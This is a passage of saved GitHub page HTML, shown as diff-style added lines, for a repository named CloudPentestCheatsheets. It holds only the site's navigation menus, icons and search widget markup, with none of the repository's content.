0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path>
     289 +</svg>
     290 + <div>
     291 + <div class="color-fg-default h4">Copilot</div>
     292 + Write better code with AI
     293 + </div>
     294 + 
     295 +
     296 +</a></li>
     297 + 
     298 + <li>
     299 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Code review&quot;,&quot;label&quot;:&quot;ref_cta:Code review;&quot;}" href="/features/code-review">
     300 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3">
     301 + <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path>
     302 +</svg>
     303 + <div>
     304 + <div class="color-fg-default h4">Code review</div>
     305 + Manage code changes
     306 + </div>
     307 + 
     308 +
     309 +</a></li>
     310 + 
     311 + <li>
     312 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Issues&quot;,&quot;label&quot;:&quot;ref_cta:Issues;&quot;}" href="/features/issues">
     313 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3">
     314 + <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path>
     315 +</svg>
     316 + <div>
     317 + <div class="color-fg-default h4">Issues</div>
     318 + Plan and track work
     319 + </div>
     320 + 
     321 +
     322 +</a></li>
     323 + 
     324 + <li>
     325 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Discussions&quot;,&quot;label&quot;:&quot;ref_cta:Discussions;&quot;}" href="/features/discussions">
     326 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3">
     327 + <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path>
     328 +</svg>
     329 + <div>
     330 + <div class="color-fg-default h4">Discussions</div>
     331 + Collaborate outside of code
     332 + </div>
     333 + 
     334 +
     335 +</a></li>
     336 + 
     337 + </ul>
     338 + </div>
     339 + <div class="px-lg-4">
     340 + <span class="d-block h4 color-fg-default my-1" id="product-explore-heading">Explore</span>
     341 + <ul class="list-style-none f5" aria-labelledby="product-explore-heading">
     342 + <li>
     343 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to All features&quot;,&quot;label&quot;:&quot;ref_cta:All features;&quot;}" href="/features">
     344 + All features
     345 + 
     346 +
     347 +</a></li>
     348 + 
     349 + <li>
     350 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" target="_blank" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Documentation&quot;,&quot;label&quot;:&quot;ref_cta:Documentation;&quot;}" href="https://docs.github.com">
     351 + Documentation
     352 + 
     353 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle">
     354 + <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path>
     355 +</svg>
     356 +</a></li>
     357 + 
     358 + <li>
     359 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" target="_blank" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to GitHub Skills&quot;,&quot;label&quot;:&quot;ref_cta:GitHub Skills;&quot;}" href="https://skills.github.com/">
     360 + GitHub Skills
     361 + 
     362 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle">
     363 + <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path>
     364 +</svg>
     365 +</a></li>
     366 + 
     367 + <li>
     368 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" target="_blank" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Blog&quot;,&quot;label&quot;:&quot;ref_cta:Blog;&quot;}" href="https://github.blog">
     369 + Blog
     370 + 
     371 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle">
     372 + <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path>
     373 +</svg>
     374 +</a></li>
     375 + 
     376 + </ul>
     377 + </div>
     378 + </div>
     379 +</li>
     380 + 
     381 + 
     382 + <li class="HeaderMenu-item position-relative flex-wrap flex-justify-between flex-items-center d-block d-lg-flex flex-lg-nowrap flex-lg-items-center js-details-container js-header-menu-item">
     383 + <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false">
     384 + Solutions
     385 + <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1">
     386 + <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path>
     387 +</svg>
     388 + </button>
     389 + <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
     390 + <div class="border-bottom pb-3 mb-3">
     391 + <span class="d-block h4 color-fg-default my-1" id="solutions-for-heading">For</span>
     392 + <ul class="list-style-none f5" aria-labelledby="solutions-for-heading">
     393 + <li>
     394 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Enterprise&quot;,&quot;label&quot;:&quot;ref_cta:Enterprise;&quot;}" href="/enterprise">
     395 + Enterprise
     396 + 
     397 +
     398 +</a></li>
     399 + 
     400 + <li>
     401 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Teams&quot;,&quot;label&quot;:&quot;ref_cta:Teams;&quot;}" href="/team">
     402 + Teams
     403 + 
     404 +
     405 +</a></li>
     406 + 
     407 + <li>
     408 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Startups&quot;,&quot;label&quot;:&quot;ref_cta:Startups;&quot;}" href="/enterprise/startups">
     409 + Startups
     410 + 
     411 +
     412 +</a></li>
     413 + 
     414 + <li>
     415 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" target="_blank" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Education&quot;,&quot;label&quot;:&quot;ref_cta:Education;&quot;}" href="https://education.github.com">
     416 + Education
     417 + 
     418 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle">
     419 + <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path>
     420 +</svg>
     421 +</a></li>
     422 + 
     423 + </ul>
     424 + </div>
     425 + <div class="border-bottom pb-3 mb-3">
     426 + <span class="d-block h4 color-fg-default my-1" id="solutions-by-solution-heading">By Solution</span>
     427 + <ul class="list-style-none f5" aria-labelledby="solutions-by-solution-heading">
     428 + <li>
     429 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to CI/CD &amp;amp; Automation&quot;,&quot;label&quot;:&quot;ref_cta:CI/CD &amp;amp; Automation;&quot;}" href="/solutions/ci-cd/">
     430 + CI/CD &amp; Automation
     431 + 
     432 +
     433 +</a></li>
     434 + 
     435 + <li>
     436 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" target="_blank" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to DevOps&quot;,&quot;label&quot;:&quot;ref_cta:DevOps;&quot;}" href="https://resources.github.com/devops/">
     437 + DevOps
     438 + 
     439 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle">
     440 + <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path>
     441 +</svg>
     442 +</a></li>
     443 + 
     444 + <li>
     445 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" target="_blank" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to DevSecOps&quot;,&quot;label&quot;:&quot;ref_cta:DevSecOps;&quot;}" href="https://resources.github.com/devops/fundamentals/devsecops/">
     446 + DevSecOps
     447 + 
     448 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle">
     449 + <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path>
     450 +</svg>
     451 +</a></li>
     452 + 
     453 + </ul>
     454 + </div>
     455 + <div class="">
     456 + <span class="d-block h4 color-fg-default my-1" id="solutions-resources-heading">Resources</span>
     457 + <ul class="list-style-none f5" aria-labelledby="solutions-resources-heading">
     458 + <li>
     459 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Customer Stories&quot;,&quot;label&quot;:&quot;ref_cta:Customer Stories;&quot;}" href="/customer-stories">
     460 + Customer Stories
     461 + 
     462 +
     463 +</a></li>
     464 + 
     465 + <li>
     466 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" target="_blank" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to White papers, Ebooks, Webinars&quot;,&quot;label&quot;:&quot;ref_cta:White papers, Ebooks, Webinars;&quot;}" href="https://resources.github.com/">
     467 + White papers, Ebooks, Webinars
     468 + 
     469 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle">
     470 + <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path>
     471 +</svg>
     472 +</a></li>
     473 + 
     474 + <li>
     475 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" target="_blank" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Solutions&quot;,&quot;action&quot;:&quot;click to go to Partners&quot;,&quot;label&quot;:&quot;ref_cta:Partners;&quot;}" href="https://partner.github.com/">
     476 + Partners
     477 + 
     478 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle">
     479 + <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path>
     480 +</svg>
     481 +</a></li>
     482 + 
     483 + </ul>
     484 + </div>
     485 + </div>
     486 +</li>
     487 + 
     488 + 
     489 + <li class="HeaderMenu-item position-relative flex-wrap flex-justify-between flex-items-center d-block d-lg-flex flex-lg-nowrap flex-lg-items-center js-details-container js-header-menu-item">
     490 + <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false">
     491 + Open Source
     492 + <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1">
     493 + <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path>
     494 +</svg>
     495 + </button>
     496 + <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
     497 + <div class="border-bottom pb-3 mb-3">
     498 + <ul class="list-style-none f5" >
     499 + <li>
     500 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Open Source&quot;,&quot;action&quot;:&quot;click to go to GitHub Sponsors&quot;,&quot;label&quot;:&quot;ref_cta:GitHub Sponsors;&quot;}" href="/sponsors">
     501 +
     502 + <div>
     503 + <div class="color-fg-default h4">GitHub Sponsors</div>
     504 + Fund open source developers
     505 + </div>
     506 + 
     507 +
     508 +</a></li>
     509 + 
     510 + </ul>
     511 + </div>
     512 + <div class="border-bottom pb-3 mb-3">
     513 + <ul class="list-style-none f5" >
     514 + <li>
     515 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Open Source&quot;,&quot;action&quot;:&quot;click to go to The ReadME Project&quot;,&quot;label&quot;:&quot;ref_cta:The ReadME Project;&quot;}" href="/readme">
     516 +
     517 + <div>
     518 + <div class="color-fg-default h4">The ReadME Project</div>
     519 + GitHub community articles
     520 + </div>
     521 + 
     522 +
     523 +</a></li>
     524 + 
     525 + </ul>
     526 + </div>
     527 + <div class="">
     528 + <span class="d-block h4 color-fg-default my-1" id="open-source-repositories-heading">Repositories</span>
     529 + <ul class="list-style-none f5" aria-labelledby="open-source-repositories-heading">
     530 + <li>
     531 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Open Source&quot;,&quot;action&quot;:&quot;click to go to Topics&quot;,&quot;label&quot;:&quot;ref_cta:Topics;&quot;}" href="/topics">
     532 + Topics
     533 + 
     534 +
     535 +</a></li>
     536 + 
     537 + <li>
     538 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Open Source&quot;,&quot;action&quot;:&quot;click to go to Trending&quot;,&quot;label&quot;:&quot;ref_cta:Trending;&quot;}" href="/trending">
     539 + Trending
     540 + 
     541 +
     542 +</a></li>
     543 + 
     544 + <li>
     545 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Open Source&quot;,&quot;action&quot;:&quot;click to go to Collections&quot;,&quot;label&quot;:&quot;ref_cta:Collections;&quot;}" href="/collections">
     546 + Collections
     547 + 
     548 +
     549 +</a></li>
     550 + 
     551 + </ul>
     552 + </div>
     553 + </div>
     554 +</li>
     555 + 
     556 + 
     557 + <li class="HeaderMenu-item position-relative flex-wrap flex-justify-between flex-items-center d-block d-lg-flex flex-lg-nowrap flex-lg-items-center js-details-container js-header-menu-item">
     558 + <a class="HeaderMenu-link no-underline px-0 px-lg-2 py-3 py-lg-2 d-block d-lg-inline-block" data-analytics-event="{&quot;category&quot;:&quot;Header menu top item (logged out)&quot;,&quot;action&quot;:&quot;click to go to Pricing&quot;,&quot;label&quot;:&quot;ref_cta:Pricing;&quot;}" href="/pricing">Pricing</a>
     559 +</li>
     560 + 
     561 + </ul>
     562 + </nav>
     563 + 
     564 + <div class="d-lg-flex flex-items-center mb-3 mb-lg-0 text-center text-lg-left ml-3" style="">
     565 +
     566 + 
     567 + 
     568 +<qbsearch-input class="search-input" data-scope="repo:dafthack/CloudPentestCheatsheets" data-custom-scopes-path="/search/custom_scopes" data-delete-custom-scopes-csrf="jNxYXBSNg4TygT3LDye3dHxn6ehkJl1IW2VKMFy1C7KPJ6YbKOOtNJxGbcwrLRTTx50PmMgPsGTbV7spW17y-w" data-max-custom-scopes="10" data-header-redesign-enabled="false" data-initial-value="" data-blackbird-suggestions-path="/search/suggestions" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" data-current-repository="dafthack/CloudPentestCheatsheets" data-current-org="" data-current-owner="dafthack" data-logged-in="false">
     569 + <div
     570 + class="search-input-container search-with-dialog position-relative d-flex flex-row flex-items-center mr-4 rounded"
     571 + data-action="click:qbsearch-input#searchInputContainerClicked"
     572 + >
     573 + <button
     574 + type="button"
     575 + class="header-search-button placeholder input-button form-control d-flex flex-1 flex-self-stretch flex-items-center no-wrap width-full py-0 pl-2 pr-0 text-left border-0 box-shadow-none"
     576 + data-target="qbsearch-input.inputButton"
     577 + placeholder="Search or jump to..."
     578 + data-hotkey=s,/
     579 + autocapitalize="off"
     580 + data-action="click:qbsearch-input#handleExpand"
     581 + >
     582 + <div class="mr-2 color-fg-muted">
     583 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search">
     584 + <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path>
     585 +</svg>
     586 + </div>
     587 + <span class="flex-1" data-target="qbsearch-input.inputButtonText">Search or jump to...</span>
     588 + <div class="d-flex" data-target="qbsearch-input.hotkeyIndicator">
     589 + <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
     590 + 
     591 + </div>
     592 + </button>
     593 + 
     594 + <input type="hidden" name="type" class="js-site-search-type-field">
     595 + 
     596 +
     597 +<div class="Overlay--hidden " data-modal-dialog-overlay>
     598 + <modal-dialog data-action="close:qbsearch-input#handleClose cancel:qbsearch-input#handleClose" data-target="qbsearch-input.searchSuggestionsDialog" role="dialog" id="search-suggestions-dialog" aria-modal="true" aria-labelledby="search-suggestions-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto">
     599 + <h1 id="search-suggestions-dialog-header" class="sr-only">Search code, repositories, users, issues, pull requests...</h1>
     600 + <div class="Overlay-body Overlay-body--paddingNone">
     601 +
     602 + <div data-view-component="true"> <div class="search-suggestions position-fixed width-full color-shadow-large border color-fg-default color-bg-default overflow-hidden d-flex flex-column query-builder-container"
     603 + style="border-radius: 12px;"
     604 + data-target="qbsearch-input.queryBuilderContainer"
     605 + hidden
     606 + >
     607 + <!-- '"` --><!-- </textarea></xmp> --></option></form><form id="query-builder-test-form" action="" accept-charset="UTF-8" method="get">
     608 + <query-builder data-target="qbsearch-input.queryBuilder" id="query-builder-query-builder-test" data-filter-key=":" data-view-component="true" class="QueryBuilder search-query-builder">
     609 + <div class="FormControl FormControl--fullWidth">
     610 + <label id="query-builder-test-label" for="query-builder-test" class="FormControl-label sr-only">
     611 + Search
     612 + </label>
     613 + <div class="QueryBuilder-StyledInput width-fit" data-target="query-builder.styledInput">
     614 + <span id="query-builder-test-leadingvisual-wrap" class="FormControl-input-leadingVisualWrap QueryBuilder-leadingVisualWrap">
     615 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search FormControl-input-leadingVisual">
     616 + <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path>
     617 +</svg>
     618 + </span>
     619 + <div data-target="query-builder.styledInputContainer" class="QueryBuilder-StyledInputContainer">
     620 + <div
     621 + aria-hidden="true"
     622 + class="QueryBuilder-StyledInputContent"
     623 + data-target="query-builder.styledInputContent"
     624 + ></div>
     625 + <div class="QueryBuilder-InputWrapper">
     626 + <div aria-hidden="true" class="QueryBuilder-Sizer" data-target="query-builder.sizer"></div>
     627 + <input id="query-builder-test" name="query-builder-test" value="" autocomplete="off" type="text" role="combobox" spellcheck="false" aria-expanded="false" data-target="query-builder.input" data-action="
     628 + input:query-builder#inputChange
     629 + blur:query-builder#inputBlur
     630 + keydown:query-builder#inputKeydown
